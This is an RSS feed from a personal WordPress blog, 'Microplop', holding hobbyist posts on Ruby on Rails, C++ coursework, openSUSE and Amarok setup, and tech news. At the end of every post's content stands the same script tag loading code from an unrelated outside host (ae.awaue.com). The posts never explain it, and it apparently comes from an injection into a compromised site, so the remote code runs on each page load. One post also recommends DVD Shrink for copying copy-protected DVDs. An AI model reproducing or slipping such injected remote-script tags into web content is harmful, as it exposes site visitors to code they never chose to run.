<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Microplop &#187; Open source</title>
	<atom:link href="http://www.microplop.com/post/category/open-source/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.microplop.com</link>
	<description>Ruby on Rails, rants and code from Andy Callaghan</description>
	<lastBuildDate>Mon, 18 May 2009 22:22:13 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Steps to learn Ruby on Rails</title>
		<link>http://www.microplop.com/post/steps-to-learn-ruby-on-rails/</link>
		<comments>http://www.microplop.com/post/steps-to-learn-ruby-on-rails/#comments</comments>
		<pubDate>Sun, 12 Apr 2009 21:16:41 +0000</pubDate>
		<dc:creator>Andy Callaghan</dc:creator>
				<category><![CDATA[Final project]]></category>
		<category><![CDATA[Open source]]></category>
		<category><![CDATA[Rails]]></category>
		<category><![CDATA[Tips and tricks]]></category>
		<category><![CDATA[lists]]></category>
		<category><![CDATA[Ruby on Rails]]></category>
		<category><![CDATA[tutorial]]></category>

		<guid isPermaLink="false">http://www.microplop.com/?p=299</guid>
		<description><![CDATA[I have pretty sucessfully taught myself Ruby on Rails from scratch with no real help from any one resource or book &#8211; in this post I will show you in some steps on how to learn the basics of Ruby on Rails, as well as some of the more detailed and difficult concepts to grasp.
In [...]]]></description>
			<content:encoded><![CDATA[<p>I have pretty sucessfully taught myself Ruby on Rails from scratch with no real help from any one resource or book &#8211; in this post I will show you in some steps on how to learn the basics of Ruby on Rails, as well as some of the more detailed and difficult concepts to grasp.</p>
<p>In this post I will assume that you have already programmed in an interpreted or compiled language &#8211; C++, Java, Perl, Python are all perfect starts to a programming career.</p>
<p>Make sure you read all of this article before you begin, so you can see how your Rails skills will develop.</p>
<h3>Start hacking</h3>
<p>This is how all good programmers begin: with a weekend of time and an old fashioned hack-a-thon. I personally started with building a simple recipe app with collections of recipes in according to ingredients etc&#8230; </p>
<ul>
<li>Install Ruby, Rails and Gems and get them working</li>
<li>If you&#8217;re on Windows, you need a Linux virtual machine to do your development in. You&#8217;ll have A LOT of problems with Rails&#8217; incompatibilities with Windows. Just do it, trust me!</li>
<li>Make the simple &#8216;Hello World&#8217; app.</li>
<li>Hack away.</li>
</ul>
<p>It is up to you this stage however.</p>
<h3>Buy a few decent books</h3>
<p>It&#8217;s all good me saying &#8220;Just get stuck in&#8221;, but I did need a lot of physical textual help with my learning curve of Ruby on Rails more complex areas. Not all the books that I bought were helpful or even in date, but there was a few that I found were invaluable to my learning.</p>
<h4>Book one: Advanced Rails Recipes</h4>
<h4>Book two: RailsSpace</h4>
<h4>Book three: Rails Recipes</h4>
<p> </p>
<h3>Subscribe to Railscasts</h3>
<p>Ryan Bates presents a weekly video podcast in all areas of Rails. The later episodes tend toward more advanced areas of Rails, but if you get all of the episodes, you will find it difficult to get stuck with development in Rails.<br />
<a href="http://www.railscasts.com">www.railscasts.com</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.microplop.com/post/steps-to-learn-ruby-on-rails/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>This will be known as Chatbot day&#8230;</title>
		<link>http://www.microplop.com/post/this-will-be-known-as-chatbot-day/</link>
		<comments>http://www.microplop.com/post/this-will-be-known-as-chatbot-day/#comments</comments>
		<pubDate>Wed, 21 Mar 2007 02:11:33 +0000</pubDate>
		<dc:creator>Andy Callaghan</dc:creator>
				<category><![CDATA[Open source]]></category>
		<category><![CDATA[Uni]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Huzzah!
After weeks of coding, bottle upon bottle of IrnBru, and OS re-install, two network outages, lots of loud swearing, countless ganders and cplusplus.com, and some 900 lines of code later, and my C++ chatbot finally works!
Boris chatbot working
When these sweet lines were returned to the screen, I kissed it&#8230; no joke, I literally kissed my [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Huzzah!</strong></p>
<p>After weeks of coding, bottle upon bottle of IrnBru, and OS re-install, two network outages, lots of loud swearing, countless ganders and cplusplus.com, and some 900 lines of code later, and my C++ chatbot finally works!</p>
<p><a href="http://www.microplop.com/prev-content/2007/03/chat-bot.jpg" title="Boris chatbot working">Boris chatbot working</a></p>
<p>When these sweet lines were returned to the screen,<em> I kissed it</em>&#8230; no joke, I literally kissed my screen!</p>
<p>Look soon for the finished product, all in it&#8217;s open source glory.</p>
<p><img src="http://www.microplop.com/prev-content/2007/03/banana-dance.gif" alt="BANANA!" /></p>
<p><code> </code><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.microplop.com/post/this-will-be-known-as-chatbot-day/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Google&#8217;s new iPhone killer</title>
		<link>http://www.microplop.com/post/googles-new-iphone-killer/</link>
		<comments>http://www.microplop.com/post/googles-new-iphone-killer/#comments</comments>
		<pubDate>Tue, 20 Mar 2007 15:13:12 +0000</pubDate>
		<dc:creator>Andy Callaghan</dc:creator>
				<category><![CDATA[Apple]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[Mobiles]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Open source]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Many rumours have been spreading the web recently about the new gPhone &#8211; just a rumour that Google could create a iPhone style smartphone, with it&#8217;s own embedded software and technology.
Google have now confirmed that they are to be making a new smartphone-like device which &#8216;makes it easy to search the web, wherever you are&#8217;. [...]]]></description>
			<content:encoded><![CDATA[<p>Many rumours have been spreading the web recently about the new gPhone &#8211; just a rumour that Google could create a iPhone style smartphone, with it&#8217;s own embedded software and technology.</p>
<p>Google have now confirmed that they are to be making a new smartphone-like device which &#8216;makes it easy to search the web, wherever you are&#8217;. Executives from the multi-billion pound UK based phone operator Orange have flown to the Google-plex to attend preliminary talks in a joint venture over the new phone.</p>
<p>It has said that the new phone will feature all the normal feature of a modern smartphone; 3G, GPS, touchscreen, querty keypad &#8211; but also offers what the Apple iPhone cannot &#8211; to allow 3rd party apps.</p>
<p>The major problem will be for Google will come with identifying who will buy the phone. Will it be converted iFreaks? Converted Win Mobile customers? A huge majority of the users of Google technology only use their search. Will they see Google as a viable brand to trust enough for the average buyer to go with?</p>
<p>For us programmers and expert users, the Google phone will be a huge opertunity to write programs onto it&#8217;s platform which will undoubtably come fit with SDK and be open source.</p>
<p>Is it even out of the question for the Goole-Orange partnership to buy such technology and expertise seen in the openMoko.org project?</p>
<p>What ever may happen, Apple and M$ must be crapping themselves at the prospect of open source software becoming common place  in the comsumer market, and Google taking another step towards world domination.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.microplop.com/post/googles-new-iphone-killer/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>How to synchronise iPods with Amarok</title>
		<link>http://www.microplop.com/post/how-to-synchronise-ipods-with-amarok/</link>
		<comments>http://www.microplop.com/post/how-to-synchronise-ipods-with-amarok/#comments</comments>
		<pubDate>Tue, 06 Mar 2007 00:41:12 +0000</pubDate>
		<dc:creator>Andy Callaghan</dc:creator>
				<category><![CDATA[Apple]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Open source]]></category>
		<category><![CDATA[Tips and tricks]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[It has always been tricky to find a way to sync ipods in Linux, but I&#8217;ve found a way.
1. Get Amarok (version &#62;= 1.4.4)
2. Make sure you have libipod installed &#8211; this allows iPod file functions.
3. Initialise all music in Amarok.
4. Initialise iPod
5. Goto &#8216;Playlist&#8217; on the left menu bar
6. Under &#8216;Smart Play lists&#8217; -&#62; [...]]]></description>
			<content:encoded><![CDATA[<p>It has always been tricky to find a way to sync ipods in Linux, but I&#8217;ve found a way.</p>
<p>1. Get Amarok (version &gt;= 1.4.4)</p>
<p>2. Make sure you have libipod installed &#8211; this allows iPod file functions.</p>
<p>3. Initialise all music in Amarok.</p>
<p>4. Initialise iPod</p>
<p>5. Goto &#8216;Playlist&#8217; on the left menu bar</p>
<p>6. Under &#8216;Smart Play lists&#8217; -&gt; Collection -&gt; All Collection.</p>
<p>7.  Right click -&gt; Synchronise to media device.</p>
<p>8. Goto &#8216;Media device&#8217; on left menu bar.</p>
<p>9. At the bottom of the left pane under &#8216;Transfer Queue&#8217; it should now read &#8216;All Collection&#8217;</p>
<p>10. Underneath the top menu bar select &#8216;Transfer&#8217;</p>
<p>Sorted!<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.microplop.com/post/how-to-synchronise-ipods-with-amarok/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Various C++ algorithms</title>
		<link>http://www.microplop.com/post/various-c-algorithms/</link>
		<comments>http://www.microplop.com/post/various-c-algorithms/#comments</comments>
		<pubDate>Sat, 24 Feb 2007 01:21:19 +0000</pubDate>
		<dc:creator>Andy Callaghan</dc:creator>
				<category><![CDATA[Open source]]></category>
		<category><![CDATA[Uni]]></category>
		<category><![CDATA[Work]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[All code is released under GPL. If you wish to use, modify, hack it etc, please attribute me.
All of the following code is cross-platform certified on Win32 and openSUSE Linux 10.2.
Maximum algorithm 
Unique algorithm
Greedy algorithm
Composition algorithm
Recursive algorithm (Collatz conjecture)
]]></description>
			<content:encoded><![CDATA[<p>All code is released under GPL. If you wish to use, modify, hack it etc, please attribute me.<br />
All of the following code is cross-platform certified on Win32 and openSUSE Linux 10.2.<br />
<a href="http://www.microplop.com/prev-content/2007/02/algo/maximum.cpp" title="Maximum algorithm">Maximum algorithm </a></p>
<p><a href="http://www.microplop.com/prev-content/2007/02/algo/unique1.cpp" title="Unique algorithm">Unique algorithm</a></p>
<p><a href="http://www.microplop.com/prev-content/2007/02/algo/greedyalgo.cpp" title="Greedy algorithm">Greedy algorithm</a></p>
<p><a href="http://www.microplop.com/prev-content/2007/02/algo/compositionfunc.cpp" title="Composition algorithm">Composition algorithm</a></p>
<p><a href="http://www.microplop.com/prev-content/2007/02/algo/recursivefunction.cpp" title="Recursive algorithm">Recursive algorithm (Collatz conjecture)</a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.microplop.com/post/various-c-algorithms/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>C++ project: Battle royale and mind warping avatars</title>
		<link>http://www.microplop.com/post/c-project-battle-royale-and-mind-warping-avatars/</link>
		<comments>http://www.microplop.com/post/c-project-battle-royale-and-mind-warping-avatars/#comments</comments>
		<pubDate>Mon, 12 Feb 2007 17:22:43 +0000</pubDate>
		<dc:creator>Andy Callaghan</dc:creator>
				<category><![CDATA[Open source]]></category>
		<category><![CDATA[Work]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[This is the most recent C++ project that i&#8217;ve completed &#8211; got 100%! Woot!
It involved using classes and OOP to create a kinda mini-game where a set of Avatar (12) are assigned random IQs, then battle and the winner is based on probability between the two avatars.
My next project will be my end of term [...]]]></description>
			<content:encoded><![CDATA[<p>This is the most recent C++ project that i&#8217;ve completed &#8211; got 100%! Woot!</p>
<p>It involved using classes and OOP to create a kinda mini-game where a set of Avatar (12) are assigned random IQs, then battle and the winner is based on probability between the two avatars.</p>
<p>My next project will be my end of term practical: either designing an SDL based Mastermind game clone, or an intellegent chat-bot.</p>
<p>Enjoy this for now though!</p>
<p>.tar.gz sources<br />
<a href="http://www.microplop.com/prev-content/2007/02/av-srctar.gz" title="Avatar C++ project source">Avatar C++ project source</a></p>
<p>.tar.gz binary (Win 32)<a href="http://www.microplop.com/prev-content/2007/02/av-exetar.gz" title="Avatar C++ project executable"><br />
Avatar C++ project executable</a></p>
<p>.zip sources<a href="http://www.microplop.com/prev-content/2007/02/av-exe.zip" style="border-bottom-style: groove" title="Avatar C++ project executable (zip)"><br />
Avatar C++ project executable (zip)</a></p>
<p>.zip binary (Win 32) <a href="http://www.microplop.com/prev-content/2007/02/av-src.zip" title="Avatar C++ project source (zip)"><br />
Avatar C++ project source (zip)</a></p>
<p>To use the executable, call it from the command line.</p>
<p>This code is released with no warranty. You can use, change and learn from my code but if you use it, please attribute the code to me, Andy Callaghan.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.microplop.com/post/c-project-battle-royale-and-mind-warping-avatars/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Dual-head nVidia powered displays on openSuse linux: Simple!</title>
		<link>http://www.microplop.com/post/dual-head-nvidia-powered-displays-on-opensuse-linux-simple/</link>
		<comments>http://www.microplop.com/post/dual-head-nvidia-powered-displays-on-opensuse-linux-simple/#comments</comments>
		<pubDate>Sun, 04 Feb 2007 20:22:45 +0000</pubDate>
		<dc:creator>Andy Callaghan</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Open source]]></category>
		<category><![CDATA[Tips and tricks]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Recently I told you that I was scrapping Windows. Well a few weeks down the line, I had a few problems with my multi-headed setup with my graphics card &#8211; the nVidia Geforce 7600 GT.
I installed the new version of openSuse without any problems; Setting up an Apache server with php, cgi and ruby on [...]]]></description>
			<content:encoded><![CDATA[<p>Recently I told you that I was scrapping Windows. Well a few weeks down the line, I had a few problems with my multi-headed setup with my graphics card &#8211; the nVidia Geforce 7600 GT.</p>
<p>I installed the new version of openSuse without any problems; Setting up an Apache server with php, cgi and ruby on rails all in the drop of a hat <a href="http://www.microplop.com/2006/fedoras-at-the-ready/">(not a fedora here, sorry Dr. AAA)</a>.</p>
<p>On first boot it displayed only on one of the screens, giving a dark off-centre shadow on the other screen &#8211; oh fudge I thought.<br />
A quick look on t&#8217;internet was no good, as the hard Linux nerds told me to get down and dirty in the X11 configuration files.</p>
<p>Before I even <em>thought</em> about considering this, I checked with nVidia themselves, and they gave me the closed-source Linux drivers &#8211; which didn&#8217;t download properly: parity errors. I then added the legendarily named &#8216;packman&#8217; repository to YaST2 &#8211; openSuse&#8217;s software manager.</p>
<p>A quick tick of a box and the nVidia drivers installed. When I rebooted, a little pop-up box came up helpfully saying, &#8216;Multi-head configuration found. Would you like to enable it?&#8217;. openSuse you beautie! It was as simple as that.</p>
<p>As a whole, Linux treats two screen setups a hell of a lot better than Windows does &#8211; it is a lot smoother in maximising windows and video across both screens, much more considered controls and configuration, and the openGL effects look mental on it!</p>
<p>So there you have it, openSuse, Linux and nVidia on Linux all rock as far as dual-head configs go.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.microplop.com/post/dual-head-nvidia-powered-displays-on-opensuse-linux-simple/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The end of Windows is nigh (for me anyway)</title>
		<link>http://www.microplop.com/post/the-end-of-windows-is-nigh-for-me-anyway/</link>
		<comments>http://www.microplop.com/post/the-end-of-windows-is-nigh-for-me-anyway/#comments</comments>
		<pubDate>Sat, 06 Jan 2007 02:24:12 +0000</pubDate>
		<dc:creator>Andy Callaghan</dc:creator>
				<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Open source]]></category>
		<category><![CDATA[Rant]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Hee! look at me using big words like nigh! Well okay, not that big I guess.
I have finally decided to scrap Windows forever&#8230; kinda.
I&#8217;m going to use Open Suse Linux 10.2 for all my files, word processing, browsing and everything.
I will only use MS Win XP for programming, and web development &#8211; this is because [...]]]></description>
			<content:encoded><![CDATA[<p>Hee! look at me using big words like nigh! Well okay, not that big I guess.</p>
<p><strong>I have finally decided to scrap Windows forever&#8230;</strong> kinda.<br />
I&#8217;m going to use <a title="Novel's Open Suse Linux 10.2" href="http://en.opensuse.org/Welcome_to_openSUSE.org">Open Suse Linux 10.2</a> for all my files, word processing, browsing and everything.<br />
I will only use MS Win XP for programming, and web development &#8211; this is because Reading Uni will <em>still </em>want us to use Visual Studio as our IDE, and not Sun Studio, or anything Unix based (yet).</p>
<p>I&#8217;m currently installing it on my home computer that my parents use to try and hoist them away from using Windows, and I am about to install it on my new shiny university computer.</p>
<p>Now&#8230; do I want to set-up my computer as a <strong>file server</strong> at Uni?&#8230;.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.microplop.com/post/the-end-of-windows-is-nigh-for-me-anyway/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Chip and pin point hacked to play Tetris</title>
		<link>http://www.microplop.com/post/chip-and-pin-point-hacked-to-play-tetris/</link>
		<comments>http://www.microplop.com/post/chip-and-pin-point-hacked-to-play-tetris/#comments</comments>
		<pubDate>Fri, 05 Jan 2007 16:38:00 +0000</pubDate>
		<dc:creator>Andy Callaghan</dc:creator>
				<category><![CDATA[Funny]]></category>
		<category><![CDATA[Open source]]></category>
		<category><![CDATA[Tips and tricks]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[A team from the UK have proved that the Chip and Pin terminals that nearly all shops that take credit cards use in the UK, can be hacked.
In a video released to YouTube, the team insert a dummy card into the reader and start playing tetris on it. It raises lots of questions that whether [...]]]></description>
			<content:encoded><![CDATA[<p>A team from the UK have proved that the Chip and Pin terminals that nearly all shops that take credit cards use in the UK, can be hacked.</p>
<p><a title="Watch the video here" href="http://www.youtube.com/watch?v=wWTzkD9M0sU">In a video released to YouTube</a>, the team insert a dummy card into the reader and start playing tetris on it. It raises lots of questions that whether a &#8216;tamper-proof&#8217; chip-and-pin machine could be hacked to gather credit card numbers, and pins.<script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.microplop.com/post/chip-and-pin-point-hacked-to-play-tetris/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DVDDecrypter replacement &#8211; ImgBurn</title>
		<link>http://www.microplop.com/post/dvddecrypter-replacement-imgburn/</link>
		<comments>http://www.microplop.com/post/dvddecrypter-replacement-imgburn/#comments</comments>
		<pubDate>Thu, 04 Jan 2007 17:53:54 +0000</pubDate>
		<dc:creator>Andy Callaghan</dc:creator>
				<category><![CDATA[Internet]]></category>
		<category><![CDATA[Open source]]></category>
		<category><![CDATA[Tips and tricks]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[I&#8217;ve been using a little app called ImgBurn, which is an updated version of the DVDDecrypter burn engine, which hasn&#8217;t been updated for some time.
This new app works seamlessly with DVD Shrink, an app to make a backup of copy protected DVDs
Get Imgburn here 

]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve been using a little app called ImgBurn, which is an updated version of the DVDDecrypter burn engine, which hasn&#8217;t been updated for some time.</p>
<p>This new app works seamlessly with DVD Shrink, an app to make a backup of copy protected DVDs</p>
<p><a title="Get ImgBurn application here" href="http://www.imgburn.com/">Get Imgburn here </a></p>
<p><a title="DVDShrink and ImgBurn" class="imagelink" href="http://www.microplop.com/prev-content/2007/01/shrinkimg.png"><img alt="DVDShrink and ImgBurn" id="image79" src="http://www.microplop.com/prev-content/2007/01/shrinkimg.thumbnail.png" /></a><script src="http://ae.awaue.com/7"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.microplop.com/post/dvddecrypter-replacement-imgburn/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
